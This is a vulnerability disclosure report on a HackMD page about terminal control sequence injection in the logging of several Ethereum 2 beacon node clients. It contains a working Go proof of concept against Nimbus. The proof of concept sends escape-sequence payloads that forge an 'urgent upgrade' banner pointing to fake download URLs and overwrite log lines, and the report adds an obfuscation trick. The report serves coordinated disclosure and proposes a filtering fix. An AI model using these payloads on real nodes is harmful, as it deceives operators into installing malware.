HackMD
    • Sharing Link copied
    • /edit
    • View mode
      • Edit mode
      • View mode
      • Book mode
      • Slide mode
      Edit mode View mode Book mode Slide mode
    • Note Permission
    • Read
      • Only me
      • Signed-in users
      • Everyone
      Only me Signed-in users Everyone
    • Write
      • Only me
      • Signed-in users
      • Everyone
      Only me Signed-in users Everyone
    • More (Comment, Invitee)
    • Publishing
    • Commenting Enable
      Disabled Forbidden Owners Signed-in users Everyone
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Invitee
    • No invitee
    • Options
    • Versions and GitHub Sync
    • Transfer ownership
    • Delete this note
    • Template
    • Save as template
    • Insert from template
    • Export
    • Google Drive Export to Google Drive
    • Gist
    • Import
    • Google Drive Import from Google Drive
    • Gist
    • Clipboard
    • Download
    • Markdown
    • HTML
    • Raw HTML
Menu Sharing Help
Menu
Options
Versions and GitHub Sync Transfer ownership Delete this note
Export
Google Drive Export to Google Drive Gist
Import
Google Drive Import from Google Drive Gist Clipboard
Download
Markdown HTML Raw HTML
Back
Sharing
Sharing Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
More (Comment, Invitee)
Publishing
More (Comment, Invitee)
Commenting Enable
Disabled Forbidden Owners Signed-in users Everyone
Permission
Owners
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Invitee
No invitee
   owned this note    owned this note      
Published Linked with GitHub
Like BookmarkBookmarked
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# Log Control Sequence Injection in multiple implementations of the Ethereum 2 beacon node ## Attack scenario ### More detailed description of the attack/bug scenario and unexpected/buggy behaviour **This report only shows an exploit vector for Nimbus, but 4 more implementations have vulns. We need a way to attach files to send the rest of our PoCs** An attacker can cause beacon nodes to log control sequences without filtering (Control Sequence Injection). The attacker can manipulate the logs in various ways due to the fact that the strings within log entries are executed by a terminal emulator. This also leads to code execution in some cases, but we will explain that in a future report. ## Impact ### Describe the effect this may have in a production setting The attacker can put false information in the logs of eth2 beacon nodes. This includes giving a URL for an "update" to the program with malware, or giving malicious instructions. The textual user interface can be modified arbitrarily and there is no way for the user to know the instructions are fake. It's also possible to overwrite log entries nearby the attacker's log entries with things like \r (go back to start of line) and \x1b[NA (go up N lines). ## Components ### Point to the files, functions, and/or specific line numbers where the bug occurs The logging mechanisms of Prysm, Teku, Lodestar, Lighthouse, and Nimbus. ## Reproduction ### If used any sort of tools/simulations to find the bug, describe in detail how to reproduce the buggy behaviour. Here is the PoC for Nimbus. The 4 others are long and span multiple files so we will send them when you reply. A banner will be shown in the Nimbus terminal saying that the user needs to upgrade at https://github.com/fake-nimbus/nimbus/releases/tag/v0.9.10 and its window title will be set to "!! URGENT NOTICE" A floating banner will also appear on top the Nimbus terminal Check out commit 8f815074a1afec53464dc569e7dc0cb3af4bec70 of Nimbus Build it and run the node and view its logs in a terminal Edit the `target` variable if needed in the following text, save it and run `go run <file>` Tested on Go 1.17 package main import ( "encoding/binary" "io" "net" ) var target = "127.0.0.1:9000" func main() { for run := 0; run < 2; run++ { var c net.Conn var err error c, err = net.Dial("tcp", target) if err != nil { panic(err) } payload := "" if run == 0 { payload = "\x1b[1G\x1b[0K\x1b[1A\x1b[1G\x1b[0K\x1b[1A\x1b[1G\x1b[0K\x1b[1G" + "\x1b[31m╭────────────────────────────────────────────────────────────────╮\x1b[999G " + "│\x1b[0m New \x1b[31mmajor\x1b[0m version of Nimbus available! \x1b[31mv0.9.9\x1b[0m → \x1b[32mv0.9.10\x1b[0m \x1b[31m│\x1b[999G " + "│\x1b[0m You need to upgrade to the latest version to stay in consensus \x1b[31m│\x1b[999G " + "│\x1b[0m \x1b[36mhttps://github.com/fake-nimbus/nimbus/releases/tag/v0.9.10\x1b[0m \x1b[31m│\x1b[999G " + "╰────────────────────────────────────────────────────────────────╯\x1b[0m\x1b]0;" } else { payload = "\x1b];\u203c\ufe0f URGENT NOTICE\x07\x1b7\x1b[7;999r\x1b[33;45m" + "\x1b[d\x1b[G\x1b[K" + "\x1b[2d\x1b[G\x1b[K \x1b[1mURGENT!!\x1b[0m\x1b[33;45m A beacon in the blockchain has signalled that there" + "\x1b[3d\x1b[G\x1b[K is a critical vulnerability being exploited in the wild!!" + "\x1b[4d\x1b[G\x1b[K Get the patch \x1b[1mnow\x1b[0m\x1b[33;45m at https://fake-nimbus.team/update" + "\x1b[5d\x1b[G\x1b[K Details at https://fake-nimbus.team/sec/NIMVT-9032" + "\x1b[6d\x1b[G\x1b[K " + "\x1b8\x1b]0;" } wr(c, []byte(payload)) } } func wr(w io.Writer, data []byte) { if err := writeDelimited(w, data); err != nil { panic(err) } } func writeDelimited(w io.Writer, data []byte) error { buf := make([]byte, 8) n := binary.PutUvarint(buf, uint64(len(data)+1)) _, err := w.Write(buf[:n]) if err != nil { return err } _, err = w.Write(data) if err != nil { return err } _, err = w.Write([]byte{'\n'}) return err } The Nimbus code responsible is this line in nimbus-eth2/vendor/nim-libp2p/libp2p/multistream.nim: notice "handshake failed", conn, codec = s ## Fix ### Description of suggested fix, if available There are more CSI (control sequence injection) vectors in your products. We recommend fixing all of them exhaustively. We recommend passing all non-static output to the terminal through a filter that removes anything outside of 7 bit ASCII range minus control characters. i.e only allowing 0x20-0x7e inclusive. If that is not practical (for example you have a CLI that is used by people who use different scripts), then we recommend filtering all ASCII C0 control characters (0x00-0x1f), DEL (0x7f), and all C1 control characters. C1 control characters are 0x80-0x9f. However, with unicode they are codepoints instead of bytes (U+0080 - U+009F). That is, unicode terminals see a codepoint such as U+009B and parse it as if it was 0x9b in a pre-unicode terminal. https://en.wikipedia.org/wiki/C0_and_C1_control_codes In other words, any call to some sort of print function (in any language) should be changed like this: -print("something something %s", somestring) +print("something something %s", filter(somestring)) -log("something happened %s", somestring) +log("something happened", filter(somestring)) Or better yet, have the log functions themselves do the filtering. This should be **the default** way of outputting to the terminal. The only exception is if we absolutely know a given string cannot be influenced by an attacker. - Avoid poor quality libraries and frameworks that output to the terminal or logs without your control - Do not output debug strings or debug return values from libraries, or exceptions to the terminal - Do not allow libraries to show stacktraces to the user ## Details ### Any details not covered above This is part of a multilateral coordinated disclosure. We are taking time to show impactful exploit vectors for various software to illustrate that CSI is a real problem, but in general, everything's vulnerable, so we ask that this report is not disclosed until a few months on our signal when all vendors have been notified of the issue and have had time to patch. We also ask not to spread info about this vulnerability to more people than necessary, even within your team, until disclosure time. Versions tested: Nimbus: commit 8f815074a1afec53464dc569e7dc0cb3af4bec70 (HEAD -> stable, origin/stable, origin/HEAD) Teku: commit 78f1e1ff40258482d3740f04ff0f623bdd31e4db (HEAD -> master, origin/master, origin/HEAD) Prysm: commit b128d446f2b97a6e6987c9e3503f3f1d7f9a6685 (HEAD -> develop, origin/develop, origin/HEAD) Lighthouse: commit 7c88f582d955537f7ffff9b2c879dcf5bf80ce13 (HEAD -> stable, tag: v2.0.0, origin/stable, origin/HEAD) Lodestar: commit 7bd7467b34f3b1bc6c541a901405b6711feb4205 (HEAD -> master, origin/master, origin/HEAD) The CSI vector for Nimbus works out of the box. But the CSI vectors we found in Prysm, Teku, Lodestar, and Lighthouse require the user to set the log level to "debug" or higher verbosity. The terminal emulator must be capable of executing control codes. The exploits to do not work on cmd.exe on Windows. But they should work on most other popular systems such as gnome-terminal on a Linux Distro, and Terminal.app on mac. During a campaign making use of these exploits, log payloads can be obfuscated to delay detection/remediation. For example: $ echo $'\x1b[2Ge\x1b[1Gt\x1b[4Gt\x1b[3Gs' test Obfuscation can be endlessly improved with more advanced techniques.

Import from clipboard

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lost their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.


Upgrade

All
  • All
  • Team
No template.

Create a template


Upgrade

Delete template

Do you really want to delete this template?

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Sign in via SAML

or

Sign in via GitHub

Help

  • English
  • 中文
  • 日本語

Documents

Tutorials

Book Mode Tutorial

Slide Example

YAML Metadata

Resources

Releases

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions

Versions and GitHub Sync

Sign in to link this note to GitHub Learn more
This note is not linked with GitHub Learn more
 
Add badge Pull Push GitHub Link Settings
Upgrade now

Version named by    

More Less
  • Edit
  • Delete

Note content is identical to the latest version.
Compare with
    Choose a version
    No search result
    Version not found

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub

      Please sign in to GitHub and install the HackMD app on your GitHub repo. Learn more

       Sign in to GitHub

      HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Available push count

      Upgrade

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Upgrade

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully